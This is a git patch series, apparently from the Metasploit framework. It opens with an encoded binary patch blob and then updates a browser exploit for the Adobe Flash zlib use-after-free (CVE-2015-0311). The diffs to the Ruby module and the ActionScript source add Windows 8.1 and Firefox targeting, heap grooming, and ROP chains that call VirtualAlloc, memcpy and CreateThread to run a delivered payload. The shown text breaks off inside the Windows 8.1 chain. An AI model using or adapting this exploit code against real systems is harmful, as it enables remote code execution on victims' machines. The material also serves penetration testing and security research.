z;S;}GctS4)=y2#`2J37Aa|)PK6k8W%){4b1xt3W#X*{RaS!>!L*Kj4}wWhiJf7>aC z;}Q6k-b%-;*@-)R848XS*`@!aiXFpU)H;o9aYC`9-S z+_ZKC|NhAIi(UoIVeMLzq=8iKEilbngA)!ne@7=MctRS_0`%_^{BN&OS&^`q(} z^-iDvM%)f{8(@~en#tFNO}r+>Yyuf9mUO~|zg%JBC&DjWE1^lmAA}MVe_VbaHQAfk-f+rKx!!Gq^};`b*Lt{W%@rZh9HU5%r_a z^>k@Ijdh~OfZtI-_@J2gFZrQg!Rx*o(HJxw&(?ZK*<7qglnhb;Xw4rDUhH}yCpXub zdeOq>$`cqJ+H7S1 z17O~5unM*YPz9Q?8#0ai^lxD>KM^1)@ObYSBl9{G%LAVH4>WZoLB9G(>`w?;i6v|u z@6p#Zy8FBook98d@|KZ)$u;~&-S5*`bKqdOFa=6hfF%fc)P)pVf4((2&YSVNvZ|}3 z1`&Nu%~ps*+tI~tVaW}4KX*qvziJ)}ld3HGckAdK1J=mr<-$Z}wsT&0l#OZQTan96 z7eR&~)9|nZhpL2^GT>u1UJTXN*%Qpk4vTH~ou(9{#jwBJOc17&mA`n68yHIJ!+ZIbM~(e_LVOFo@T+ z2tJ&7YQdCivkvo4D}-=^n4Pn zeQ}N2Ez_J0t6DeSQVV1NRVXt3qZHHCK1g{2#SHaRj`u=tyXMX%{f(W%>vt)zGAo@< zt?Jka>I7XsacU~~W8KGz5I%6rE+7Tr@ek;UZ>}O0mx}J1xrcpZL+u4TNZ0)NJul5e z%zE$c3g{e~e>7qi9N`Sr{;b3ZY$8mW=(pi8;R2v5fjx{+U<3%-7WEvYunWX1wxlD zZUb|?j$C{Db1ciRUPL@DL`{?xoox6kTMIL1dSdyMezlDp@fpcj z7A&BevFtXA2?T$>nC0tuERHF#Gkb#h=9LE+{K_18NzBIu$p3)WZlgtovPl-r`dxRj z0qC^6>gm5HkoG~FL%<#~E|Jm*`ZQqr=rdl;vU1uCIGZDC^--T=F!pZ$!T$nw3S$ILdWX(XKx~A#mo%TGMa)nPzLhEr zo+?jNZo@zo9|mxJhEQQKXzrqva@rxOc~Bj=lYl@bz(N5CLJ&Hm1tTzTkIyNIqa<=Q zO|Uk;+v-ydE)9UkwJH+dX6V2BM$j*Of1t=Y4mXGtvF)Nps;QE0f3~Js44;aqTnLuX z?m+g^*V8mnmNKA~5tD_qLBnXYJC~eFU-ltY8`%P}9;4t~Rga6<8=#$8o^eU2yctn{}Ls?1Mw&`6fD2zP3Y2P z!!{`a6c^HKdi*YmF!pbg5zmlVC~ORoQ+ep+@Ned6AyU?onc02jh)s`mzw!j@_mJ>% zW}gFJ(@uIb+eI)Bl*Fi^Gn^~+e=Dhe2+XUMDe@?B6|ZJs_5J0=Uo5v`?c`Q&#vp=N zDqXX*72ro_T9qK?);DB;o?>%L8xS&L82!)N&Rf9OgneZ5nt zfplp!Sv6D4ThJo8l)C7#^)H5av_UlUO`>RZ0eZ%|S$~&S9@Si%9-0 zIBP`#Aeh0aWXod#!DvJy{m%u*8nz#2Q=2gB_q7jO>Rp6YZh{Q;;SwsxJ)@pLqP#TrIY?zW3SOYmtAH(o z@LW~8e6$)29HA>Bd$lGLe1CAS3c)c~nrRz-%3WKC#|Vdh^JX?YfL2ex7I14ABUb5C zJ6txny~`yf04*_Z#g_yXR8EKX;E*OFmBGBfjdJ--Hx!5q{mDN#fAJ^|h;JM9=Y+b& zYV!QOtW?F1+|h z(eE<`WL}s;#@U`4aKUYgqglyY^ri;51=#&| z7D01a2%x-r@#)W%Z;hNM?^#Vz9*!08c32yMIW9=6&79#5WgI2X`lE7j zhAuhR$XY*M50#@n1o`Y?J~&+<&KuLz_l6REp)EQH;B4$mAQ?RdRB-uNN$S>xztH2m z5JwfptH9);8Jc~PR=#Rh@9EGUo3`MdFIu~%NgeF&Zy;tx+}ZI(i^ErrZFksKG3Xl> z!)>V^e-5HmN29=*0GBwdeKwsu7>CHBvV0gj1|`i49=*BWgt`j5|3E2HL%H1 z9EthU;F9& zw;u>_HC3j4)Qd~uF~6A}0n;LfsC30mFQxLzf0dsyju0A!7GV8b+MMH$U+>BS)c>sL zhZg=h^$1W2iO3tr=>g}6N=bGrD~61~6fN6zZ4RLfGUKHe)CrEbJN7^V$Q9C45yPYS zk?a?ym+eS${yt>y{3j@>zNdoyp5>BK((=m{+6}7gn@jVlDpsO^QuAwr!*Y~1{I=O~ zf75r|oT^M@G?J~(Gk3>QpE3SiZbCOAM^H93uA4yLcLw%FZP4^1ExqLvbEPn$LRrQp z#kXz-JFRsSdC+g8;$q^k4<^q+Rj4`(ism6H$u0jhRsU`HPm?(z9I!K6ugP}4`tF@lrN=vPtgoWtdg1w* zQx2u`bOC>u-l0X{zC4+uNW|qYM_rkaj4QS1yWS1l%ic1Zb#A>xb@Mq_qkY~$+z{cz3ZAa?{tVE>0%&!GcfgCKa{7Z><1|+qrZ7 z>&&?W`@qHVg5ybghSkR{mIpSb&+2{dx@EqGlzuROpeMS3)Dy5R1dVY+f6@)5)>q)= z(Iq!gU^)MUYg3Zjf7b!rs!2xV2x_&uyRKrGa0f8-A0C`ZpM7?C#ujj9}L9Uhq15{t|FgwWr5PIDiQ|I`>+ zIl?;~or(;Birmn(ShPa6FmT$W?eut$*eMd~$H^Js^2+{=fJt3&aIG4e+yw6;K-z!V zq}`Nh+`o6GTj2JJrrpl(5Tj-u|e+A-BrU++Vl9hZwc{f6f$`*X8Yh39q9$ zOn~@wbK&p7;iy=}L43S#OAdKLK-Co_l^2VZ#uK`p2L^@-j%`KNzEQa4^_9EESn?^$ zw63*;Z%^}pqjPw4`FXgsjtmNS{#8EA(^HD4e{bhSoE4BZNa4I67ZSRg$C<4!xBgpb zCuzGgp~(Y2urztPe|kiDT;PO2Gm-|K_YxBZ?E|4?qF`KRvJH##db)!kv~@3sr)}{* zJBxGS_;o(n1!-M>O5d?q2?Xz70i5+X@)fEs_-M@8Z+Ra~@<37TH$OJL>b{Ti`{USi zu&wu$Kh*4-*oLBwAD+qo-9p+H%8(k8tm8C2qKJ{%n*p~+e`&BlB=&eFDU7B2(-|j7 zaoCkexxVi@LoL~F0#DBT{ujl$fHeJzC<4reZAkKq$(zOcXBpMY`2;8xO81|E=C2@Z zoEi&IN5MR7GrRmDDAj)Cd3)0Em||xj#~3$AO~n;H?ljJ368QOorFaqrb4+yDjp7^c zo`x4hpl}WUe-!VViFtw|&!{Tzc583Lh>q1DCIpA~RZy?E8sQo*D%yZ)R)>V6u1}tq zMGQ~ZRM`PfHT6Y=T$A(#QkGkPEb==Hc!GnJaQO_=c&%r9GO%vl1+U^G-+NY;jdga( z;Xc0~86M;Oq>P;$wmE9@C=0Z@WHraIcZlfV@iK=0sw**8bE3q7*Dso>~}D zWj;V+lOBt?bP6KUlr5MDnZRcpBIn0$b1}?^zEu9ytOmiFzaO3Yn~fsxr5Dz?Y)~se z8)Bs3*7jSHoQx^Ni#Al20ahF(DCd04OjBAEfA_x&dp zf35MK)Yvd}+L=`Gsm2H*fFYT{);KTgqS+ORX3mTtF+t^$AznXf)(VfAk`@ZqawdHT z*Hu>|qU^JjhG0m}1t-|`9UT(yv9K*}B{RNS7j#=BAX0owvKla^&&qcrN`+7vH(Xj? zP{!q)DEtBcLX#^?y`)!uO6=E`I9f6K+>tXot10u-gO&Q&`sfrea*KgC|(*I;E6 zes?@5uAJ5*Tst+XDO;Rr$svbf0#M@ z*ZUX*P0^$`db*UO!xrg7Y$YU(W9N%n*i~%Dh9SG?w1^FjggxI ztB^iz;Z6vO%0FMMCY?lfue*0de}?gmWB(4}o9X`{Zt~oHXvDd7U>9y1LCp~hlzH4h z+14HeCV}oZyT+eVMrycfA1VXK9zAgQkNz?C4)nDH9uFr3jiTcjiBfk!b;g43O~8U4 zQepoUVn6<%3!dh2k5|7z4tjt?da$t*Fdc|os#2;Ow@JuGv)m0|eIL*Gf4~B8upSs_ zR&k{qJ>h3wg5wqwF=Ai*=%3Xy33 z#}3=Esp^}s5LQX>eL7C;9bYJ?YV83_kBWDr20y@`ekF4S`ejoCA@*D#9qH+ZgY8tX zxxZ)@mU11r^+6uE@SpTce@WdLSB>LY=k=d!l@+AlEWsQ;t65B3m~5$`)x&FCVpxu zsA|K+3*+0xPmZkt$=`1H>N3+PCCn`&k%1+T=MG**8X*gM6I-DPf01Kyvcv^dfK)x< zCEwHha_`qK;vmp;1n4bS81KA{SRKPNmNsMd>`=UImN~hUWq$OLR>a;TcZER_22VEx zs>odgLJT2cYDlE`GrBn|LQ^HC@Wvuf471PZUKw35&RWm^s4Qz^9?pSf_q*?mYLobg<0?q195HLVyGwzy?bDzuz%>2CC#kfoVn=o!thM3SX`%rHJ&r zE3Sc%HUoU7 zhD1bJ5g?GjVkq^=P1y?Pd`n}1w8b-?F!^WI%MLxU{sS z!YobJN}izLxEP;0h*WO(rF)2zCL0i*qwAl5dm+`i&5W@reQ~lC=^X49P<&{;=q_Ok z2lej=2XLkIxzPD;R+IRLQ~4Kmzna^*`_3+we}#m}CjzIc&vygA`$9k@ZS9*Z;le5T zr3e;5m>BoqHrR*7u7~SoA9&tpN2QceZCOy5wP*4Xx%*t}lyRPU%tce_K5=#w}v>iKQbJ&UM+p0sWrg#b9MT<;fld;aY*)1x z5QKxjaNc7f3tq>M`12n&;0iUmz+O_bE^gv%XnAmk4RMkDDg`aqlDQUTxE>mHf89r^ zvmDdSigUh1G{)yCL!tH697hFmY{(0oJMC9g5&!%j{6dCB<*pm;jeJMbf&Bk~mLRoq z+5+|=1iy;AvLOs;rjOX;Mz&>2;}kbj*o#ppisxKOy{#NMYRMq|FwYuof%V6 z>*CZP;bt(aj#i7749u8blK7?+q4y=7Y#wI54YSFWRg^#YHhBQ-LkB$Pf0e)_T+Ba; zdb6z$x@=9bg{s3VR4dD^{lRC?usxs|h8>WJoTF|INs3N;7gk>xyEx8B8Q=L)cN@kE z8e5nU0!gJov~VQ6vW$XvBccc*?S!ipZm~`04_SxVLreVL^kF_IbJ||2R-sR{!q_f~ zx9O%LAz06qz_AfNwi}P&e=b4j396_3TRZbv@8?W3FEQj2{psW~V=qpZrmyyQL_E7- zz}JnA_QA}3kv1x;(i)Ohu6p7!zt^^(-cynB1)|$0g^KAmV54bb_8V9N6E*I@+QqNo z17T^7=5FUhgmX#^5&#y`-3}cE_3wQO?j=g-$hj|8Pm2rrCS8gfe^mG4pP+7}3s4Dk zS*gwIDk{$#+#Ovtqse8;32X$JvUEf& zsTD|9%0`S`j?YtfVfpxb1UHRAk}(M*{$$#{g#(=*nEunt&$`giSHs4law?8OC=LEWg0l+pU{ zhesW|qUyN%e~j=xd*xl_TvH$JrC|wiG>OT$ZpNC*$cE`a3fiul25Os*Y3lzpev3vk zX@@Hpo&j>k7T9LiwL|V(`8&0v=kDVk?~bJ*pPZ)DjeEY=5anwkuVEf$Mi?Ms`9R8L z??!fCsG-=&z~MOU!FHLrQW;G}Zc*gr&3_`REp1{Ke`YgU=m|$C9>-LLxsZ(Fj=U_~ z0xm{`ER-^Xc3aOw;5P_Wk1UPluK_G_sZBoHfw4uWlm+C)Vb8sKcRdM|(&`43i>iph z%nW7N%Jhaaj56XnK#q~Selfcl=`l!4Nh!(9oE=K0ZDh|Q`if@HhZ|Bx*3_lm%rJus z)Eko8f0(4EN*T3QTi4euLvXg=bj0uTfT{SMppC`d!yAPudCoX+^h!_s!A+`Q0xuBj zmKe;i`yd~|)AW!UrK$Ac3)^}!LZhfz6M+$Npd*;^)PwSB*b>7%SN_zLtx_RQ9Pr9| zbnwW?IqoW(il|I?Z?t;tVtYVcU1}?wQx=?_e+*{zrL^fCAJ~A?P;-`ea;Q;Oy&(!+ z3ds~(~y0RQ)uPqw*byu}hbBALe80jpgcGI-3%l>p1^HPuAQfIWcH`oo@s2JaNoz&s&2 ze-Jq$;Y$6Q>Xh=bYpB#v_F27)qP+=I3vS^Ug3q`G^9-L*(>NP9Uj?&ycjx|Y! zxN;>ZwO|8Df8%^L{kbwhHTLcyD!m{1xc(hx?fn6t2op7N1w5M;H_RtB@yiA?onSg{ z#Se9j(4N03(EIEL(LG*kFwEGdl&e8Qe;hksz^yYaeGc;U#R-o7NDnXNrD#%BI2DtsP+Qaj=Pk4YyXcmzgDZ7GaYecY-e+%;( z2xj+6&EX3c?>7kK?d18}*ETccWGdvF&CxT%X51H7^e5J>S$9dZEFmJYX`3cK-SW;{ z7jd){vEp5sI*-@qUviX+N~OlQ%~SI}Vhp5R)N6kVh`h-Oz zpYx|WLWc#JQh^hi$%frdA;XQeSQDPH5%nO8w7_3%642;ZA2De)d%9cFAZAw1a-#33 zUCsM8^G?Vc243QVfkQc#|8BTXf~O4yOWv7U?2MMEDF_)G^H|SQ1o7D_f7**)NZ;s$ z3A?0|hA;e!Zgx{6a^4edGc1!=e#)cU=|9&rGtYQ5ac z!ti@ZcdHZ7vml$ArP8=Lw(A9wFbwJ5wi%YcbJQKVo9?69ePHck6KH45K)vg5Rc{#S z1qULd%2v?f5IELmn&Qs+rqx@5B+Pm%nQM#Ypjb ze}O8@s;=FY_M&9T-Uq63D6sWSR2oYVT=zl`oz#N80T~5+( zDg3ix0KUw(2z~K^YZ3?UnfLEYUwz?rI0!8Uxs^ok{Ab)8e<>xE^obQu5%_NQWTjnq zlFdScBOv2m4jeDa5%Gzg)ZCQ?=f!{;aU9r^GY(v(G-Af#KF+ZfqX|W;0#0h(hsFi9 z6<@swc0)>$TI>l_XKJFft7`>N%%9@}hTIfqp-@+Tb1spVd>6&(6V?N7Y|7lRoZ;SZ z+~W;C7vXKWe@GFPitOqjJn2USo0DSyM@_D0P-Vl?HEbfH4!?-BQzacU)PlM8jdR1~Njlta5@wHjeO!)QWU>EBfEpaLtY{E`^{V zLf4kRiac76Kz{LdM;kzf|0aWMO7FzO-4$4_$BZDpXq|g>M>2aWK@g-UXY9>ekYO=x|G zsx71Yy+h+dk*W`2_<*t7cLZJQ{GpLEQ3l2AoT|4wXc@D38&NB&5kq9iIx+6%X}JCU|ugYwmF6j!0X z+q-GiMUxb|IJec4@)m2jDH-{0Q%!SHx`N?CrA`!n$}fcg7ETKau4rfk9S~9E6#de6 z(SMA134>~6b!=|#`+DRQ#Y>={)z1#`oESJ<-u{07fcOg~X1jx5^`1NLCqs`szqZtd z!UB9}+yc-v2lO?W&#c6-(asNSK}RC`Lw!0vQ)iCDONul=FSo^dZ=}1a4#T;JS=1o% zj;sap339O1#Z?CzAHQ){`s+<1LV=OP41ZcAK|=3=56DX(DDGT0MP62Xc34hCfiL>&=vi2=U3-`ICy`;;(Nl7ur$?Nw;UWRyt?R{*U% zEKDjQ`bj!4=Ae{`sAuqT`u_)tqQ(c@Q&MCZL9N+8zx0r;`_fY_Xo&2h?bYOxwtov( zOqG)HbcaL-_C6iB$}Mmj9t`rzsby0rhjHf&~;9`ZIN6-DLQTWOz1oapq2 z&3q#UIPWK*I=+03TZmQz`O%bFt;Xn7(xg@?RsE;YDq;nRkT1WmT;wxG^25h*4P=OO z^dKpXZOL$)JcwNFSnzm2R3bobe_NJ;L9h%Y>$CB06W&_3-?1~}ic{b}Lw}dhr7ZI4 zOKR#uEm46l*NWUhKN`cK(0!0d6XO6jav~t>cfo?e5VYfs{?spd?tENt)h4mkK>z&y zhe8{t;JQqi<4`eA^uxo)oMPp4i+X!&3O4^;)X}+4fL?}Cf$9hME(zoyfR4jh!=USe zEeb+OlA2boCJ>(mk6}jh_3Al48;O^lSSg&-0lS3IXDt+>m4E;JJdUEw7LR;t z4V&axY+5urZbHyn#-Qtfo)lEaJ(CzaqkOo$VRi4+4$9_n~hb<(~!FWKuXzKilg0OZsYpdoKT^uYX+O4IRuRIOvG|U{c;q zt>PSI?%9I+;zXYHRkOx?inmd1PNMn!jJ9Us9?d|u=$92ibcg_zw6TBOKq2Dk;>;H= zhV#Pfg1%xKJ;M!fFL3++hQhb~Puk1NXu;GsSP@UJiz^jK0*gFS$ zkfh9r7NHZf7=N@(Q<}v(7Awp`s~L$K=rMAOGfh)V(4G&G;tiXF?_;c8HU(;{XoLKR zT#x41#$obVEfID`uOP1h2+4kF7GYuD8=u21^bRlH!cN?;>HY0DS(ewg=W^E zW7S3i*%X3pv_iIB6^;dWmZz4!?HHwCe;jdj4D!*NK%o=#P@n zBfudJV1Fw0C-jwN%!9DOUtdKj`=c8ht5|p?T6dz{Xxf%?SvBwSj%@|M8{e!p<{zvKJ3*Cpo*O@qD{|iqWV68x3XrkH zWh|6zoBq^gc(iysqkWu1nZq?=;yz=)M$6Nc2rC*waik*Wpl&cCxw?gV%(cESq&11p zAb;)Qwny_y zrT=BZKR3CBHAlz8`hdER>d7VbX5ABLrhlH9;j)&3@Gyh1iWMg}#HWn+Lx_0&|E|eE zJLA)U5g{yIqY~GH%slU-h}TJRtF$Uqc#f%yU(}xXe!Gqn!^MB5ZSDPEysx2mECtXf z7ff^5Xl{3Wr05TxQ-y)7k5~&PpfAs2LwMn5Ziw0#X!=8f7`aMd(A0M?I{emsIDb}= z_3;f~UtQ3D&v^%l$FIKtJ#)bNNA=LGH)lTf2N`a}_B&7R;&t5WOE^}#qySQOT{XgS zmry*Mu7dWLqh%7KBmhth%VeBEuU8VZ-Yr>Q{-YO!Jr*j~)cUw@HMx7Scz zIK|`#^$}7{o4bxdlwonnG-l=XLTDF34yX3uJm=Tb@;%U$)3F(8>I)-d1ApzXdMsD) zt?;{(EP0IIi9hG`;AVBz3PP>$u#%wHQkMtpXPrP!z3-I%@Xu4|?kR#+b9a-(`#ppZe{;%9d6(A(D-fLk&uAZ2f3t5RjTuR4@Tu&_ zd8MOt<^NK3`6-}AJMcxWoqz2KApruf=6?vyxPyz8&G8FEI>j?rHAOC2_gw^U*K0gpD**w%K_Gj;VfkL3Wr&8WC3hUDb?T3~%vXjO>b$_S&aZQ^BSM2c2!X-!oy`DUs+QhLB_FDuV2h zE0p_4n<+f0p!*Zp#kkx>Qcd7F!Zz@SDpadYsXg1doQS~RP=+!Tq4>;k4ionw&2{@H1=|t~$%*Nn> znY={)fxfsT0_u8rycad9W8w|rtEw&+62|ANGmP5$$m19 zyjQFCXtVd8QmNe|1auwdUvWCb%O z?j#q@NPoEbpA($ma351LzNvqElVaGui5aI}V64RA+Q78D{AhwuAbVWgCJ0~E`{m;w zOtxGw7G}}rwa)wfMPy2LVopKtUshDrkzrD*rRLpBAhetaOOPlgTsgu5w|u&@8B;(8 zwZoG;0|87$(go4O#AV$(XNmQBD(@$SNW;wg4=SyWlavC9ops*Z6)t}mMgc-(Xv diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index c862ba03d2..2b401c731b 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking - include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) @@ -40,20 +39,21 @@ class Metasploit3 < Msf::Exploit::Remote { 'DisableNops' => true }, - 'Platform' => ['win', 'unix'], - 'Arch' => [ARCH_X86, ARCH_CMD], + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || - os =~ OperatingSystems::Match::WINDOWS_7 + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' - return true if ua == Msf::HttpClients::IE + return true if [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) when 'Linux' return true if ua == Msf::HttpClients::FF end @@ -75,14 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'Windows', { - 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Platform' => 'win' } ], [ 'Linux', { - 'Platform' => 'unix', - 'Arch' => ARCH_CMD + 'Platform' => 'linux' } ] ], @@ -112,15 +110,13 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] if target.name =~ /Windows/ - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) platform_id = 'win' elsif target.name =~ /Linux/ - target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD)) - b64_payload = Rex::Text.encode_base64(target_payload) platform_id = 'linux' end @@ -129,9 +125,9 @@ class Metasploit3 < Msf::Exploit::Remote - + - + From 75454f05c4927cefce6fb21035fe1f86bb4db009 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 4 Jun 2015 12:12:49 -0500 Subject: [PATCH 0311/1013] Update AS source code --- .../source/exploits/CVE-2015-0311/Exploit.as | 36 +--- .../CVE-2015-0311/ExploitByteArray.as | 9 +- .../exploits/CVE-2015-0311/Exploiter.as | 188 ++++++++++++++++-- external/source/exploits/CVE-2015-0311/PE.as | 15 +- 4 files changed, 196 insertions(+), 52 deletions(-) diff --git a/external/source/exploits/CVE-2015-0311/Exploit.as b/external/source/exploits/CVE-2015-0311/Exploit.as index 0e63483803..89a62606e8 100644 --- a/external/source/exploits/CVE-2015-0311/Exploit.as +++ b/external/source/exploits/CVE-2015-0311/Exploit.as @@ -24,22 +24,22 @@ package private var ba:ByteArray = new ByteArray() private var exploiter:Exploiter private var b64:Base64Decoder = new Base64Decoder() - private var payload:String + private var payload:ByteArray private var platform:String - private var massage:Vector. = new Vector.(10000) + private var os:String public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") - b64.decode(b64_payload) - payload = b64.toByteArray().toString() + b64.decode(b64_payload) + payload = b64.toByteArray() - for (var i:uint = 0; i < massage.length / 2; i++) { - massage[i] = new Vector.(0x3e0) - } + // defrag + for (var i:uint = 0; i < 10000; i++) new Vector.(0x3e0) for (i = 0; i < 1000; i++) ba.writeUnsignedInt(data++) ba.compress() @@ -49,10 +49,8 @@ package try { ba.uncompress() } catch (e:Error) { } - - for (i = massage.length / 2; i < massage.length; i++) { - massage[i] = new Vector.(0x3e0) - } + uv = new Vector.(0x3e0) + uv[0] = 0 var test:uint = li32(0) if (test == 0x3e0) { @@ -61,22 +59,8 @@ package Logger.log('[*] Exploit - corruption fail: ' + test.toString(16)) return // something failed } - - for (i = 0; i < massage.length; i++) { - if (massage[i].length == 0x3e0) { - massage[i] = null - } else { - Logger.log('[*] Exploit - corrupted vector found at ' + i) - uv = massage[i] - uv[0] = 0 - } - } - - if (uv.length != 0xffffffff) - return - - exploiter = new Exploiter(this, platform, payload, uv) + exploiter = new Exploiter(this, platform, os, payload, uv) } } diff --git a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as index 0da3b307b4..a8da46df7b 100644 --- a/external/source/exploits/CVE-2015-0311/ExploitByteArray.as +++ b/external/source/exploits/CVE-2015-0311/ExploitByteArray.as @@ -31,7 +31,6 @@ package public function lets_ready():void { - Logger.log("[*] ExploitByteArray - lets_ready()") ba.endian = "littleEndian" if (platform == "linux") { ba.length = 0xffffffff @@ -40,7 +39,6 @@ package public function is_ready():Boolean { - Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16)) if (ba.length == 0xffffffff) return true @@ -72,10 +70,15 @@ package public function write(addr:uint, value:* = 0, zero:Boolean = true):void { + var i:uint + if (addr) ba.position = addr if (value is String) { - for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) } else ba.writeUnsignedInt(value) } } diff --git a/external/source/exploits/CVE-2015-0311/Exploiter.as b/external/source/exploits/CVE-2015-0311/Exploiter.as index 99b41d1f8a..9975dc8b6e 100644 --- a/external/source/exploits/CVE-2015-0311/Exploiter.as +++ b/external/source/exploits/CVE-2015-0311/Exploiter.as @@ -9,8 +9,9 @@ package private var exploit:Exploit private var ev:ExploitVector private var eba:ExploitByteArray - private var payload:String + private var payload:ByteArray private var platform:String + private var op_system:String private var pos:uint private var byte_array_object:uint private var main:uint @@ -23,13 +24,14 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(80000) + private var spray:Vector. = new Vector.(89698) - public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.):void + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { exploit = exp payload = p platform = pl + op_system = os ev = new ExploitVector(uv) if (!ev.is_ready()) return @@ -133,12 +135,19 @@ package private function do_rop():void { Logger.log("[*] Exploiter - do_rop()") - if (platform == "linux") + if (platform == "linux") { do_rop_linux() - else if (platform == "win") - do_rop_windows() - else + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { return + } } private function do_rop_windows():void @@ -147,11 +156,15 @@ package var pe:PE = new PE(eba) var flash:uint = pe.base(vtable) var winmm:uint = pe.module("winmm.dll", flash) - var kernel32:uint = pe.module("kernel32.dll", winmm) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) - var winexec:uint = pe.procedure("WinExec", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) // Continuation of execution eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable @@ -169,16 +182,101 @@ package eba.write(0, virtualprotect) // VirtualProtect - eba.write(0, winexec) + eba.write(0, virtualalloc) eba.write(0, buffer + 0x10) eba.write(0, 0x1000) eba.write(0, 0x40) eba.write(0, buffer + 0x8) // Writable address (4 bytes) - // WinExec - eba.write(0, buffer + 0x10) + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) eba.write(0, payload_address + 8) - eba.write(0) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // 